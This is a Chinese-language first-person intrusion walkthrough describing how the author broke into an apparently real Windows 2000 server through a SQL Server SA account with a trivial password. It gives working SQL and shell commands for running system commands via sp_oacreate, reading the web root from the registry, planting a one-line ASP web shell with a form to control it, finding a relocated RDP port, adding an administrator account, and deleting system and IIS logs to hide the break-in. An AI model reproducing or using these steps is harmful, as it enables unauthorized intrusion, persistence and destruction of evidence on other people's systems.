第一步:扫描网站
找了IP段,可能是广东那边的,用XSCAN扫描,选择的是常规端口。扫描结束,发现一个IP地址上SQLSERVER的SA帐户密码也是SA。发现入侵点,扫描结束。
第二步:
用工具Sqlexec连接(如果大家没这个工具,可以和我要,QQ:56111981),发现连接成功,不能执行命令。看来管理员把Xp_cmdshell给删了,换用SQLSERVER查询分析器登陆,这个自己要装客户端。添入IP和用户密码,登陆成功。登陆后先看看版本信息:
select @@version
发现是SQLSERVER 760 WIN2000 SP4
为什么要查看版本信息?因为老版本的SQLSERVER存储过程功能不全,我在入侵学校的一台机子时非常郁闷,后来用SQLSERVER探测器才发现居然是6点几的版本。
试图恢复xp_cmdshell,如下:
exec sp_addextendeproc xp_cmdshell,@dllname='xplog70.dll'
返回找不到xplog70.dll的信息,看来管理员还是知道这个危害很大,恢复失败。
这时就要变换思路,想其他方法。
先不管别的,得到WEB路径再说,因为机子开了WEB服务。
create table [tbltemp] ([strpath][char](255));DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into tbltemp(strpath) values(@result);
运行后,再
select * from tbltemp;
得到路径是 c:\inetpub\wwwroot (其实可以猜出来)
之后删除自己建的表
drop table tbltemp;
上面都是在SQLSERVER分析器中运行,如果是注入,这样是不行的,因为回显方法不一样,大家要根据具体情况写查询语句,关键是思路。
第三步 写入一个小型ASP SHELL
declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c echo "<%execute request("aspcode") %>" >c:\inetpub\wwwroot\shell.asp'
如何利用,我当时使用了网页连接,如下:
————————————————————————————————————
<form action="http://218.*.*.*/shell.asp" method="post">
ASP′代码:<textarea name="aspcode" cols=200 rows=9>
szCMD="dir" '这里输入要执行的命令,比如可以改成 szCMD="net user"
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
If (IsObject(oFile)) Then Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
</textarea>
<br>
<input type=submit name=submit value="ok">
</form>
——————————————————————————————————————
把上面的保存成 .htm文件就可以了。
上面的dir是要执行的命令,可以换成其他的。
这里因为ASP权限问题,能执行的命令很少,常用的命令比如
dir copy del
"net user"(不能执行"net user /add"权限不够)
"net start" (只能查看信息,不能启动停止服务)
"net view"
ipconfig
set
"netstat -an"
ver
这些都是刺探信息用的,或者查看文本文件,目录结构等信息。
第四步 进入终端
本来到这我就不想入侵了,想着开终端还得重起,有的机子搞不好设个BIOS密码,还得等管理员登陆后才行,时间太长。
可是运行到 net start 时发现开了 Terminal Service。
可是3389端口却没开,这只有一种可能,该机已被入侵而且默认端口被改了。
为什么这么说。如果这个终端服务是管理员开的他没必要改这个端口,后来证实了我的猜测。
既然他把终端打开了,那就进去看看。
怎么知道改的端口是哪个呢?
很简单,运行
regedit /e filename.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
然后type filename.reg
里面有个PORTNUMBER,是十六进制的,用MS自带的计算器转换一下就可以了,这个网站的是0000 0EA4,10进制就是3658
这里有个问题,就是regedit /e 命令好象不能用ASP木马执行,反正我没成功,我也没测试原因。
我用SQLSERVER成功执行了。
declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c regedit /e filename.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" '
好了,到这就剩添用户了,再运行
declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user xiaohua 123456 /add'
declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',NULL,'cmd.exe /c net localgroup administrator xiaohua /add'
第五步 清理战场
用登陆器登陆终端成功。登陆终端后要掩饰踪迹,首先删日志在计算机管理那里三个系统日志。
再者WEB日志也得删,WEB日志记录在%windir%\system32\logfiles\w3svc1目录下,文件按日期分布,把入侵那天的删了就行了,
删之前先停掉服务net stop w3svc
删日志后开启服务net start w3svc
日志删了,其他就是添后门,隐藏帐户了,文章很多就不写了。
这时可以查看一下管理员在不在,CMD下运行
query user
发现只有自己登陆着。
再看一下管理员登陆日期 ,运行
net user administrator
发现管理员1个月前登陆的,这种主机做肉鸡真是得天独厚,当然我没这么做.
之后运行logoff注销登陆,整个入侵全部结束。其实后来我再也没进过这台机器。